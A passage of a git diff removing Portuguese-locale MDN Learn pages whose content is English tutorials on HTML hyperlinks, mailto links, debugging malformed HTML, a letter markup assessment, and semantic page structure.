Hyperlinks are one of the most exciting innovations the Web has to offer. Well, they've been a feature of the Web since the very beginning, but they are what makes the Web a Web — they allow us to link our documents to any other document (or other resource) we want to, we can also link to specific parts of documents, and we can make apps available at a simple web address (contrast this to native apps, which have to be installed and all that business.) Just about any web content can be converted to a link, so that when clicked (or otherwise activated) it will make the web browser go to another web address ({{glossary("URL")}}).

- -
-

Note: A URL can point to HTML files, text files, images, text documents, video and audio files, and anything else that can live on the Web. If the web browser doesn't know how to display or handle the file, it will ask you if you want to open the file (in which case the duty of opening or handling the file is passed to a suitable native app on the device) or download the file (in which case you can try to deal with it later on.)

-
- -

The BBC homepage, for example, contains a large number of links that point not only to multiple news stories, but also different areas of the site (navigation functionality), login/registration pages (user tools) and more.

- -

frontpage of bbc.co.uk, showing many news items, and navigation menu functionality

- - - -

A basic link is created by wrapping the text (or other content, see {{anch("Block level links")}}) you want to turn into a link inside an {{htmlelement("a")}} element, and giving it an {{htmlattrxref("href", "a")}} attribute (also known as a Hypertext Reference , or target) that will contain the web address you want the link to point to.

- -
<p>I'm creating a link to
-<a href="https://www.mozilla.org/en-US/">the Mozilla homepage</a>.
-</p>
- -

This gives us the following result:

- -

I'm creating a link to the Mozilla homepage.

- -

Adding supporting information with the title attribute

- -

Another attribute you may want to add to your links is title; this is intended to contain supplementary useful information about the link, such as what kind of information the page contains, or things to be aware of. For example:

- -
<p>I'm creating a link to
-<a href="https://www.mozilla.org/en-US/"
-   title="The best place to find more information about Mozilla's
-          mission and how to contribute">the Mozilla homepage</a>.
-</p>
- -

This gives us the following result (the title will come up as a tooltip when the link is hovered over):

- -

I'm creating a link to the Mozilla homepage.

- -
-

Note: A link title is only revealed on mouse hover, which means that people relying on keyboard controls to navigate web pages will have difficulty accessing title information. If a title's information is truly important to the usability of page, then you should present it in a manner that will be accessible to all users, for example by putting it in the regular text.

-
- - - -

Active learning time: we'd like you to create an HTML document using your local code editor (our getting started template would do just fine.)

- - - - - -

As mentioned before, you can turn just about any content into a link, even block level elements. If you had an image you wanted to turn into a link, you could just put the image between <a></a> tags.

- -
<a href="https://www.mozilla.org/en-US/">
-  <img src="mozilla-image.png" alt="mozilla logo that links to the mozilla homepage">
-</a>
- -
-

Note: You'll find out a lot more about using images on the Web in a future article.

-
- -

A quick primer on URLs and paths

- -

To fully understand link targets, you need to understand URLs and file paths. This section gives you the information you need to achieve this.

- -

A URL, or Uniform Resource Locator is simply a string of text that defines where something is located on the Web. For example Mozilla's English homepage is located at https://www.mozilla.org/en-US/.

- -

URLs use paths to find files. Paths specify where in the filesystem the file you are interested in is located. Let's look at a simple example of a directory structure (see the creating-hyperlinks directory.)

- -

A simple directory structure. The parent directory is called creating-hyperlinks and contains two files called index.html and contacts.html, and two directories called projects and pdfs, which contain an index.html and a project-brief.pdf file, respectively

- -

The root of this directory structure is called creating-hyperlinks. When working locally with a web site, you will have one directory that the whole site goes inside. Inside the root, we have an index.html file and a contacts.html. In a real website, index.html would be our home page or landing page (a web page that serves as the entry point for a website or a particular section of a website.).

- -

There are also two directories inside our root — pdfs and projects. These each have a single file inside them — a PDF (project-brief.pdf) and an index.html file, respectively. Note how you can quite happily have two index.html files in one project as long as they are in different locations in the filesystem. Many web sites do. The second index.html would perhaps be the main landing page for project-related information.

- - - -
-

Note: You can combine multiple instances of these features into complex URLs, if needed, e.g. ../../../complex/path/to/my/file.html.

-
- -

Document fragments

- -

It is possible to link to a specific part of an HTML document (known as a document fragment), rather than just to the top of the document. To do this you first have to assign an {{htmlattrxref("id")}} attribute to the element you want to link to. It normally makes sense to link to a specific heading, so this would look something like the following:

- -
<h2 id="Mailing_address">Mailing address</h2>
- -

Then to link to that specific id, you'd include it at the end of the URL, preceded by a hash/pound symbol, for example:

- -
<p>Want to write us a letter? Use our <a href="contacts.html#Mailing_address">mailing address</a>.</p>
- -

You can even use the document fragment reference on its own to link to another part of the same document:

- -
<p>The <a href="#Mailing_address">company mailing address</a> can be found at the bottom of this page.</p>
- -

Absolute versus relative URLs

- -

Two terms you'll come across on the Web are absolute URL and relative URL:

- -

absolute URL: Points to a location defined by its absolute location on the web, including {{glossary("protocol")}} and {{glossary("domain name")}}. So for example, if an index.html page is uploaded to a directory called projects that sits inside the root of a web server, and the web site's domain is http://www.example.com, the page would be available at http://www.example.com/projects/index.html (or even just http://www.example.com/projects/, as most web servers just look for a landing page such as index.html to load if it is not specified in the URL.)

- -

An absolute URL will always point to the same location, no matter where it is used.

- -

relative URL: Points to a location that is relative to the file you are linking from, more like what we looked at in the previous section. For example, if we wanted to link from our example file at http://www.example.com/projects/index.html to a PDF file in the same directory, the URL would just be the filename — e.g. project-brief.pdf — no extra information needed. If the PDF was available in a subdirectory inside projects called pdfs, the relative link would be pdfs/project-brief.pdf (the equivalent absolute URL would be http://www.example.com/projects/pdfs/project-brief.pdf.)

- -

A relative URL will point to different places depending on where the file it is used inside is located — for example if we moved our index.html file out of the projects directory and into the root of the web site (the top level, not in any directories), the pdfs/project-brief.pdf relative URL link inside it would now point to a file located at http://www.example.com/pdfs/project-brief.pdf, not a file located at http://www.example.com/projects/pdfs/project-brief.pdf.

- -

Of course, the location of the project-brief.pdf file and pdfs folder won't suddenly change because you moved the index.html file — this would make your link point to the wrong place, so it wouldn't work if clicked on. You need to be careful!

- - - -

There are some best practices to follow when writing links. Let's look at these now.

- - - - - -

It's easy to throw links up on your page. That's not enough. We need to make our links accessible to all readers, regardless of their current context and which tools they prefer. For example:

- - - -

Let's look at a specific example:

- -

Good link text: Download Firefox

- -
<p><a href="https://firefox.com/">
-  Download Firefox
-</a></p>
- -

Bad link text: Click here to download Firefox

- -
<p><a href="https://firefox.com/">
-  Click here
-</a>
-to download Firefox</p>
-
- -

Other tips:

- - - - - -

From the description above, you might think that it is a good idea to just use absolute links all the time; after all, they don't break when a page is moved like relative links. However, you should use relative links wherever possible when linking to other locations within the same website (when linking to another website, you will need to use an absolute link):

- - - -

Linking to non-HTML resources — leave clear signposts

- -

When linking to a resource that will be downloaded (like a PDF or Word document) or streamed (like video or audio) or has another potentially unexpected effect (opens a popup window, or loads a Flash movie), you should add clear wording to reduce any confusion. It can be quite annoying for example:

- - - -

Let's look at some examples, to see what kind of text can be used here:

- -
<p><a href="http://www.example.com/large-report.pdf">
-  Download the sales report (PDF, 10MB)
-</a></p>
-
-<p><a href="http://www.example.com/video-stream/" target="_blank">
-  Watch the video (stream opens in separate tab, HD quality)
-</a></p>
-
-<p><a href="http://www.example.com/car-game">
-  Play the car game (requires Flash)
-</a></p>
- -

Use the download attribute when linking to a download

- -

When you are linking to a resource that is to be downloaded rather than opened in the browser, you can use the download attribute to provide a default save filename. Here's an example with a download link to the latest Windows version of Firefox:

- -
<a href="https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=en-US"
-   download="firefox-latest-64bit-installer.exe">
-  Download Latest Firefox for Windows (64-bit) (English, US)
-</a>
- -

Active learning: creating a navigation menu

- -

For this exercise, we'd like you to link some pages together with a navigation menu to create a multi-page website. This is one common way in which a website is created — the same page structure is used on every page, including the same navigation menu, so when links are clicked it gives the impression that you are staying in the same place, and different content is being brought up.

- -

You'll need to make local copies of the following four pages, all in the same directory (see also the navigation-menu-start directory for a full file listing):

- - - -

You should:

- -
    -
  1. Add an unordered list in the indicated place on one page, containing the names of the pages to link to. A navigation menu is usually just a list of links, so this is semantically ok.
  2. -
  3. Turn each page name into a link to that page.
  4. -
  5. Copy the navigation menu across to each page.
  6. -
  7. On each page, remove just the link to that same page — it is confusing and pointless for a page to include a link to itself, and the lack of a link acts a good visual reminder of what page you are currently on.
  8. -
- -

The finished example should end up looking something like this:

- -

An example of a simple HTML navigation menu, with home, pictures, projects, and social menu items

- -
-

Note: If you get stuck, or are not sure if you have got it right, you can check the navigation-menu-marked-up directory to see the correct answer.

-
- - - -

It is possible to create links or buttons that, when clicked, open a new outgoing email message rather than linking to a resource or page. This is done using the {{HTMLElement("a")}} element and the mailto: URL scheme.

- -

In its most basic and commonly used form, a mailto: link simply indicates the email address of the intended recipient. For example:

- -
<a href="mailto:nowhere@mozilla.org">Send email to nowhere</a>
-
- -

This results in a link that looks like this: Send email to nowhere.

- -

In fact, the email address is even optional. If you leave it out (that is, your {{htmlattrxref("href", "a")}} is simply "mailto:"), a new outgoing email window will be opened by the user's mail client that has no destination address specified yet. This is often useful as "Share" links that users can click to send an email to an address of their choosing.

- -

Specifying details

- -

In addition to the email address, you can provide other information. In fact, any standard mail header fields can be added to the mailto URL you provide. The most commonly used of these are "subject", "cc", and "body" (which is not a true header field, but allows you to specify a short content message for the new email). Each field and its value is specified as a query term.

- -

Here's an example that includes a cc, bcc, subject and body:

- -
<a href="mailto:nowhere@mozilla.org?cc=name2@rapidtables.com&bcc=name3@rapidtables.com&subject=The%20subject%20of%20the%20email&body=The%20body%20of%20the%20email">
-  Send mail with cc, bcc, subject and body
-</a>
- -
-

Note: The values of each field must be URL-encoded, that is with non-printing characters (invisible characters like tabs, carriage returns, and page breaks) and spaces percent-escaped. Also note the use of the question mark (?) to separate the main URL from the field values, and ampersands (&) to separate each field in the mailto: URL. This is standard URL query notation. Read The GET method to understand what URL query notation is more comonly used for.

-
- -

Here are a few other sample mailto URLs:

- - - -

Summary

- -

That's it for links, for now anyway! You'll return to links later on in the course when you start to look at styling them. Next up for HTML, we'll return to text semantics and look at some more advanced/unusual features that you'll find useful — Advanced text formatting is your next stop.

- -

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML")}}

- -

In this module

- - diff --git a/files/pt-pt/learn/html/introducao_ao_html/demarcar_uma_carta/index.html b/files/pt-pt/learn/html/introducao_ao_html/demarcar_uma_carta/index.html deleted file mode 100644 index 0545b789e0..0000000000 --- a/files/pt-pt/learn/html/introducao_ao_html/demarcar_uma_carta/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Demarcar uma carta -slug: Learn/HTML/Introducao_ao_HTML/demarcar_uma_carta -tags: - - Avaliação - - HTML - - Ligações - - Principiante - - Texto -translation_of: Learn/HTML/Introduction_to_HTML/Marking_up_a_letter ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Learn/HTML/Introduction_to_HTML")}}
- -

We all learn to write a letter sooner or later; it is also a useful example to test out our text formatting skills! In this assessment you'll be given a letter to mark up to test basic and advanced HTML text formatting skills, including hyperlinks, plus we'll test your familiarity with some HTML <head> contents.

- - - - - - - - - - - - -
Prerequisites:Before attempting this assessment you should have already worked through Getting started with HTML, What's in the head? Metadata in HTML, HTML text fundamentals, Creating hyperlinks, and Advanced text formatting.
Objective:To test basic and advanced HTML text formatting and hyperlink skills, and knowledge of what goes in the HTML <head>.
- -

Starting point

- -

To get this assessment started, you should go and grab the raw text you need to mark up, and the CSS you need to include in your HTML. Create a new .html file using your text editor to do your work in (or alternatively use a site like JSBin or Thimble to do your assessment.)

- -

Project brief

- -

For this project, your task is to mark up a letter that needs to be hosted on a university intranet. The letter is a response from a research fellow to a prospective PhD student concerning their application to the university.

- -

Block/structural semantics:

- - - -

Inline semantics:

- - - -

The head of the document:

- - - -

Hints and tips

- - - -

Example

- -

The following screenshot shows an example of what the letter might look like after being marked up.

- -

Example

- -

Assessment

- -

If you are following this assessment as part of an organized course, you should be able to give your work to your teacher/mentor for marking. If you are self-learning, then you can get the marking guide fairly easily by asking on the discussion thread about this exercise, or in the #mdn IRC channel on Mozilla IRC. Try the exercise first — there is nothing to be gained by cheating!

- -

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Learn/HTML/Introduction_to_HTML")}}

- -

 

- -

In this module

- - - -

 

diff --git a/files/pt-pt/learn/html/introducao_ao_html/depurar_html/index.html b/files/pt-pt/learn/html/introducao_ao_html/depurar_html/index.html deleted file mode 100644 index 9515ff4f37..0000000000 --- a/files/pt-pt/learn/html/introducao_ao_html/depurar_html/index.html +++ /dev/null @@ -1,186 +0,0 @@ ---- -title: Depurar HTML -slug: Learn/HTML/Introducao_ao_HTML/Depurar_HTML -tags: - - Depuração - - Erro - - Guía - - HTML - - Principiante - - Validação -translation_of: Learn/HTML/Introduction_to_HTML/Debugging_HTML ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}
- -

Writing HTML is fine, but what if something goes wrong, and you can't work out where the error in the code is? This article will introduce you to some tools that can help you find and fix errors in HTML.

- - - - - - - - - - - - -
Prerequisites:HTML familiarity, as covered in for example Getting started with HTML, HTML text fundamentals, and Creating hyperlinks.
Objective:Learn the basics of using debugging tools to find problems in HTML.
- -

Debugging isn't scary

- -

When writing code of some kind, everything is usually fine, until that dreaded moment when an error occurs — you've done something wrong, so your code doesn't work — either not at all, or not quite how you wanted it to. For example, the following shows an error reported when trying to {{glossary("compile")}} a simple program written in the Rust language.

- -

A console window showing the result of trying to compile a rust program with a missing quote around a string in a print statement. The error message reported is error: unterminated double quote string.Here, the error message is relatively easy to understand — "unterminated double quote string". If you look at the listing, you can probably see how println!(Hello, world!"); might logically be missing a double quote. However, error messages can quickly get more complicated and less easy to interpret as programs get bigger, and even simple cases can look a little intimidating to someone who doesn't know anything about Rust.

- -

Debugging doesn't have to be scary though —  the key to being comfortable with writing and debugging any programming language or code is familiarity with both the language and the tools.

- -

HTML and debugging

- -

HTML is not as complicated to understand as Rust. HTML is not compiled into a different form before the browser parses it and shows the result (it is interpreted, not compiled). And HTML's {{glossary("element")}} syntax is arguably a lot easier to understand than a "real programming language" like Rust, {{glossary("JavaScript")}}, or {{glossary("Python")}}. The way that browsers parse HTML is a lot more permissive than how programming languages are run, which is both a good and a bad thing.

- -

Permissive code

- -

So what do we mean by permissive? Well, generally when you do something wrong in code, there are two main types of error that you'll come across:

- - - -

HTML itself doesn't suffer from syntax errors because browsers parse it permissively, meaning that the page still displays even if there are syntax errors. Browsers have built-in rules to state how to interpret incorrectly written markup, so you'll get something running, even if it is not what you expected. This, of course, can still be a problem!

- -
-

Note: HTML is parsed permissively because when the web was first created, it was decided that allowing people to get their content published was more important than making sure the syntax was absolutely correct. The web would probably not be as popular as it is today, if it had been more strict from the very beginning.

-
- -

Active learning: Studying permissive code

- -

It's time to study the permissive nature of HTML code.

- -
    -
  1. First, download our debug-example demo and save it locally. This demo is deliberately written to have some errors in it for us to explore (the HTML markup is said to be badly-formed, as opposed to well-formed).
  2. -
  3. Next, open it in a browser. You will see something like this:A simple HTML document with a title of HTML debugging examples, and some information about common HTML errors, such as unclosed elements, badly nested elements, and unclosed attributes.
  4. -
  5. This immediately doesn't look great; let's look at the source code to see if we can work out why (only the body contents are shown): -
    <h1>HTML debugging examples</h1>
    -
    -<p>What causes errors in HTML?
    -
    -<ul>
    -  <li>Unclosed elements: If an element is <strong>not closed properly,
    -      then its effect can spread to areas you didn't intend
    -
    -  <li>Badly nested elements: Nesting elements properly is also very important
    -      for code behaving correctly. <strong>strong <em>strong emphasised?</strong>
    -      what is this?</em>
    -
    -  <li>Unclosed attributes: Another common source of HTML problems. Let's
    -      look at an example: <a href="https://www.mozilla.org/>link to Mozilla
    -      homepage</a>
    -</ul>
    -
  6. -
  7. Let's review the problems: -
      -
    • The {{htmlelement("p","paragraph")}} and {{htmlelement("li","list item")}} elements have no closing tags. Looking at the image above, this doesn't seem to have affected the markup rendering too badly, as it is easy to infer where one element should end and another should begin.
    • -
    • The first {{htmlelement("strong")}} element has no closing tag. This is a bit more problematic, as it isn't easy to tell where the element is supposed to end. In fact, the whole of the rest of the text has been strongly emphasised.
    • -
    • This section is badly nested: <strong>strong <em>strong emphasised?</strong> what is this?</em>. It is not easy to tell how this has been interpreted because of the previous problem.
    • -
    • The {{htmlattrxref("href","a")}} attribute value has a missing closing double quote. This seems to have caused the biggest problem — the link has not rendered at all.
    • -
    -
  8. -
  9. Now let's look at the markup the browser has rendered, as opposed to the markup in the source code. To do this, we can use the browser developer tools. If you are not familiar with how to use your browser's developer tools, take a few minutes to review Discover browser developer tools.
  10. -
  11. In the DOM inspector, you can see what the rendered markup looks like: The HTML inspector in Firefox, with our example's paragraph highlighted, showing the text "What causes errors in HTML?" Here you can see that the paragraph element has been closed by the browser.
  12. -
  13. Using the DOM inspector, let's explore our code in detail to see how the browser has tried to fix our HTML errors (we did the review in Firefox; other modern browsers should give the same result): -
      -
    • The paragraphs and list items have been given closing tags.
    • -
    • It isn't clear where the first <strong> element should be closed, so the browser has wrapped each separate block of text with its own strong tag, right down to the bottom of the document!
    • -
    • The  incorrect nesting has been fixed by the browser like this: -
      <strong>strong
      -  <em>strong emphasised?</em>
      -</strong>
      -<em> what is this?</em>
      -
    • -
    • The link with the missing double quote has been deleted altogether. The last list item looks like this: -
      <li>
      -  <strong>Unclosed attributes: Another common source of HTML problems.
      -  Let's look at an example: </strong>
      -</li>
      -
    • -
    -
  14. -
- -

HTML validation

- -

So you can see from the above example that you really want to make sure your HTML is well-formed! But how? In a small example like the one seen above, it is easy to search through the lines and find the errors, but what about a huge, complex HTML document?

- -

The best strategy is to start by running your HTML page through the Markup Validation Service — created and maintained by the W3C, the organization that looks after the specifications that define HTML, CSS, and other web technologies. This webpage takes an HTML document as an input, goes through it, and gives you a report to tell you what is wrong with your HTML.

- -

The HTML validator homepage

- -

To specify the HTML to validate, you can give it a web address, upload an HTML file, or directly input some HTML code.

- -

Active learning: Validating an HTML document

- -

Let's try this with our sample document.

- -
    -
  1. First, load up the Markup Validation Service in one browser tab, if it isn't already.
  2. -
  3. Switch to the Validate by Direct Input tab.
  4. -
  5. Copy all the sample document's code (not just the body) and paste it into the large text area shown in the Markup Validation Service.
  6. -
  7. Press the Check button.
  8. -
- -

This should give you a list of errors and other information.

- -

A list of of HTML validation results from the W3C markup validation service

- -

Interpreting the error messages

- -

The error messages are usually helpful, but sometimes they are not so helpful; with a bit of practice you can work out how to interpret these to fix your code. Let's go through the error messages and what they mean. You'll see that each message comes with a line and column number to help you to locate the error easily.

- - - -

If you can't work out what every error message means, don't worry about it — a good idea is to try fixing a few errors at a time. Then try revalidating your HTML to show what errors are left. Sometimes fixing an earlier error will also get rid of other error messages — several errors can often be caused by a single problem, in a domino effect.

- -

You will know when all your errors are fixed when you see the following banner in your output:

- -

Banner that reads "The document validates according to the specified schema(s) and to additional constraints checked by the validator."

- -

Summary

- -

So there we have it, an introduction to debugging HTML, which should give you some useful skills to count on when you start to debug CSS, JavaScript, and other types of code later on in your career. This also marks the end of the Introduction to HTML module learning articles — now you can go on to testing yourself with our assessments: the first one is linked below.

- -

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}

- -

 

- -

In this module

- - - -

 

diff --git a/files/pt-pt/learn/html/introducao_ao_html/estrutura_documento_website/index.html b/files/pt-pt/learn/html/introducao_ao_html/estrutura_documento_website/index.html deleted file mode 100644 index 059f26a497..0000000000 --- a/files/pt-pt/learn/html/introducao_ao_html/estrutura_documento_website/index.html +++ /dev/null @@ -1,292 +0,0 @@ ---- -title: "Estrutura do\_documento e do website" -slug: Learn/HTML/Introducao_ao_HTML/Estrutura_documento_website -tags: - - Guía - - HTML - - Layout - - Principiante - - pagina - - semántica -translation_of: Learn/HTML/Introduction_to_HTML/Document_and_website_structure ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML")}}
- -

In addition to defining individual parts of your page (such as "a paragraph" or "an image"), {{glossary("HTML")}} also boasts a number of block level elements used to define areas of your website (such as "the header", "the navigation menu", "the main content column"). This article looks into how to plan a basic website structure, and write the HTML to represent this structure.

- - - - - - - - - - - - -
Prerequisites:Basic HTML familiarity, as covered in Getting started with HTML. HTML text formatting, as covered in HTML text fundamentals. How hyperlinks work, as covered in Creating hyperlinks.
Objective:Learn how to structure your document using semantic tags, and how to work out the structure of a simple website.
- -

Basic sections of a document

- -

Webpages can and will look pretty different from one another, but they all tend to share similar standard components, unless the page is displaying a fullscreen video or game, is part of some kind of art project, or is just badly structured:

- -
-
header
-
Usually a big strip across the top with a big heading and/or logo. This is where the main common information about a website usually stays from one webpage to another.
-
navigation bar
-
Links to the site's main sections; usually represented by menu buttons, links, or tabs. Like the header, this content usually remains consistent from one webpage to another — having an inconsistent navigation on your website will just lead to confused, frustrated users. Many web designers consider the navigation bar to be part of the header rather than a individual component, but that's not a requirement; in fact some also argue that having the two separate is better for accessibility, as screen readers can read the two features better if they are separate.
-
main content
-
A big area in the center that contains most of the unique content of a given webpage, for example the video you want to watch, or the main story you're reading, or the map you want to view, or the news headlines, etc. This is the one part of the website that definitely will vary from page to page!
-
sidebar
-
Some peripheral info, links, quotes, ads, etc. Usually this is contextual to what is contained in the main content (for example on a news article page, the sidebar might contain the author's bio, or links to related articles) but there are also cases where you'll find some recurring elements like a secondary navigation system.
-
footer
-
A strip across the bottom of the page that generally contains fine print, copyright notices, or contact info. It's a place to put common information (like the header) but usually that information is not critical or secondary to the website itself. The footer is also sometimes used for {{Glossary("SEO")}} purposes, by providing links for quick access to popular content.
-
- -

A "typical website" could be laid out something like this:

- -

a simple website structure example featuring a main heading, navigation menu, main content, side bar, and footer.

- -

HTML for structuring content

- -

The simple example shown above isn't pretty, but it is perfectly ok for illustrating a typical website layout example. Some websites have more columns, some are way more complex, but you get the idea. With the right CSS, you could use pretty much any elements to wrap around the different sections and get it looking how you wanted, but as discussed before, we need to respect semantics, and use the right element for the right job.

- -

This is because visuals don't tell the whole story. We use color and font size to draw sighted users' attention to the most useful parts of the content, like the navigation menu and related links, but what about visually impaired people for example, who might not find concepts like "pink" and "large font" very useful?

- -
-

Note: Colorblind people represent around 4% of the world population or, to put it another way, approximately 1 in every 12 men and 1 in every 200 women are colorblind. Blind and visually impaired people represent roughly 4-5% of the world population (in 2012 there were 285 million such people in the world, while the total population was around 7 billion).

-
- -

In your HTML code, you can mark up sections of content based on their functionality — you can use elements that represent the sections of content described above unambiguously, and assistive technologies like screenreaders can recognise those elements and help with tasks like "find the main navigation", or "find the main content." As we mentioned earlier in the course, there are a number of consequences of not using the right element structure and semantics for the right job.

- -

To implement such semantic mark up, HTML provides dedicated tags that you can use to represent such sections, for example:

- - - -

Active learning: exploring the code for our example

- -

Our example seen above is represented by the following code (you can also find the example in our GitHub repository). We'd like you to look at the example above, and then look over the listing below to see what parts make up what section of the visual.

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="utf-8">
-
-    <title>My page title</title>
-    <link href="https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300|Sonsie+One" rel="stylesheet" type="text/css">
-    <link rel="stylesheet" href="style.css">
-
-    <!-- the below three lines are a fix to get HTML5 semantic elements working in old versions of Internet Explorer-->
-    <!--[if lt IE 9]>
-      <script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"></script>
-    <![endif]-->
-  </head>
-
-  <body>
-    <!-- Here is our main header that is used across all the pages of our website -->
-
-    <header>
-      <h1>Header</h1>
-    </header>
-
-    <nav>
-      <ul>
-        <li><a href="#">Home</a></li>
-        <li><a href="#">Our team</a></li>
-        <li><a href="#">Projects</a></li>
-        <li><a href="#">Contact</a></li>
-      </ul>
-
-       <!-- A Search form is another commmon non-linear way to navigate through a website. -->
-
-       <form>
-         <input type="search" name="q" placeholder="Search query">
-         <input type="submit" value="Go!">
-       </form>
-     </nav>
-
-    <!-- Here is our page's main content -->
-    <main>
-
-      <!-- It contains an article -->
-      <article>
-        <h2>Article heading</h2>
-
-        <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Donec a diam lectus. Set sit amet ipsum mauris. Maecenas congue ligula as quam viverra nec consectetur ant hendrerit. Donec et mollis dolor. Praesent et diam eget libero egestas mattis sit amet vitae augue. Nam tincidunt congue enim, ut porta lorem lacinia consectetur.</p>
-
-        <h3>Subsection</h3>
-
-        <p>Donec ut librero sed accu vehicula ultricies a non tortor. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aenean ut gravida lorem. Ut turpis felis, pulvinar a semper sed, adipiscing id dolor.</p>
-
-        <p>Pelientesque auctor nisi id magna consequat sagittis. Curabitur dapibus, enim sit amet elit pharetra tincidunt feugiat nist imperdiet. Ut convallis libero in urna ultrices accumsan. Donec sed odio eros.</p>
-
-        <h3>Another subsection</h3>
-
-        <p>Donec viverra mi quis quam pulvinar at malesuada arcu rhoncus. Cum soclis natoque penatibus et manis dis parturient montes, nascetur ridiculus mus. In rutrum accumsan ultricies. Mauris vitae nisi at sem facilisis semper ac in est.</p>
-
-        <p>Vivamus fermentum semper porta. Nunc diam velit, adipscing ut tristique vitae sagittis vel odio. Maecenas convallis ullamcorper ultricied. Curabitur ornare, ligula semper consectetur sagittis, nisi diam iaculis velit, is fringille sem nunc vet mi.</p>
-      </article>
-
-      <!-- the aside content can also be nested within the main content -->
-      <aside>
-        <h2>Related</h2>
-
-        <ul>
-          <li><a href="#">Oh I do like to be beside the seaside</a></li>
-          <li><a href="#">Oh I do like to be beside the sea</a></li>
-          <li><a href="#">Although in the North of England</a></li>
-          <li><a href="#">It never stops raining</a></li>
-          <li><a href="#">Oh well...</a></li>
-        </ul>
-      </aside>
-
-    </main>
-
-    <!-- And here is our main footer that is used across all the pages of our website -->
-
-    <footer>
-      <p>©Copyright 2050 by nobody. All rights reversed.</p>
-    </footer>
-
-  </body>
-</html>
- -

Take some time to look over the code and understand it — the comments inside the code should also help you to understand it. We aren't asking you to do much else in this article, because the key to understanding document layout is writing a sound HTML structure, and then laying it out with CSS. We'll wait for this until you start to study CSS layout as part of the CSS topic.

- -

HTML layout elements in more detail

- -

It's good to understand the overall meaning of all the HTML sectioning elements in detail — this is something you'll work on gradually as you start to get more experience with web development. You can find a lot of detail by reading our HTML element reference. For now, these are the main definitions that you should try to understand:

- - - -

Non-semantic wrappers

- -

Sometimes you'll come across a situation where you can't find an ideal semantic element to group some items together or wrap some content. Sometimes you might want to just group a set of elements together to affect them all as a single entity with some {{glossary("CSS")}} or {{glossary("JavaScript")}}. For cases like these, HTML provides the {{HTMLElement("div")}} and {{HTMLElement("span")}} elements. You should use these preferably with a suitable {{htmlattrxref('class')}} attribute, to provide some kind of label for them so they can be easily targeted.

- -

{{HTMLElement("span")}} is an inline non-semantic element, which you should only use if you can't think of a better semantic text element to wrap your content, or don't want to add any specific meaning. For example:

- -
<p>The King walked drunkenly back to his room at 01:00, the beer doing nothing to aid
-him as he staggered through the door <span class="editor-note">[Editor's note: At this point in the
-play, the lights should be down low]</span>.</p>
- -

In this case, the editor's note is supposed to merely provide extra direction for the director of the play; it is not supposed to have extra semantic meaning. For sighted users, CSS would perhaps be used to distance the note slightly from the main text.

- -

{{HTMLElement("div")}} is a block level non-semantic element, which you should only use if you can't think of a better semantic block element to use, or don't want to add any specific meaning. For example, imagine a shopping cart widget that you could choose to pull up at any point during your time on an e-commerce site:

- -
<div class="shopping-cart">
-  <h2>Shopping cart</h2>
-  <ul>
-    <li>
-      <p><a href=""><strong>Silver earrings</strong></a>: $99.95.</p>
-      <img src="../products/3333-0985/thumb.png" alt="Silver earrings">
-    </li>
-    <li>
-      ...
-    </li>
-  </ul>
-  <p>Total cost: $237.89</p>
-</div>
- -

This isn't really an <aside>, as it doesn't necessarily relate to the main content of the page (you want it viewable from anywhere). It doesn't even particularly warrant using a  <section>, as it isn't part of the main content of the page. So a <div> is fine in this case. We've included a heading as a signpost to aid screenreader users in finding it.

- -
-

Warning: Divs are so convenient to use that it's easy to use them too much. As they carry no semantic value, they just clutter your HTML code. Take care to use them only when there is no better semantic solution and try to reduce their usage to the minimum otherwise you'll have a hard time updating and maintaining your documents.

-
- -

Line breaks and horizontal rules

- -

Two elements that you'll use occasionally and will want to know about are {{htmlelement("br")}} and {{htmlelement("hr")}}:

- -

<br> creates a line break in a paragraph; it is the only way to force a rigid structure in a situation where you want a series of fixed short lines, such as in a postal address or a poem. For example:

- -
<p>There once was a man named O'Dell<br>
-Who loved to write HTML<br>
-But his structure was bad, his semantics were sad<br>
-and his markup didn't read very well.</p>
- -

Without the <br> elements, the paragraph would just be rendered in one long line (as we said earlier in the course, HTML ignores most whitespace); with them in the code, the markup renders like this:

- -

There once was a man named O'Dell
- Who loved to write HTML
- But his structure was bad, his semantics were sad
- and his markup didn't read very well.

- -

<hr> elements create a horizontal rule in the document that denotes a thematic change in the text (such as a change in topic or scene). Visually it just looks like a horizontal line. As an example:

- -
<p>Ron was backed into a corner by the marauding netherbeasts. Scared, but determined to protect his friends, he raised his wand and prepared to do battle, hoping that his distress call had made it through.</p>
-<hr>
-<p>Meanwhile, Harry was sitting at home, staring at his royalty statement and pondering when the next spin off series would come out, when an enchanted distress letter flew through his window and landed in his lap. He read it hazily and sighed; "better get back to work then", he mused.</p>
- -

Would render like this:

- -

Ron was backed into a corner by the marauding netherbeasts. Scared, but determined to protect his friends, he raised his wand and prepared to do battle, hoping that his distress call had made it through.

- -
-

Meanwhile, Harry was sitting at home, staring at his royalty statement and pondering when the next spin off series would come out, when an enchanted distress letter flew through his window and landed in his lap. He read it hazily and sighed; "better get back to work then", he mused.

- -

Planning a simple website

- -

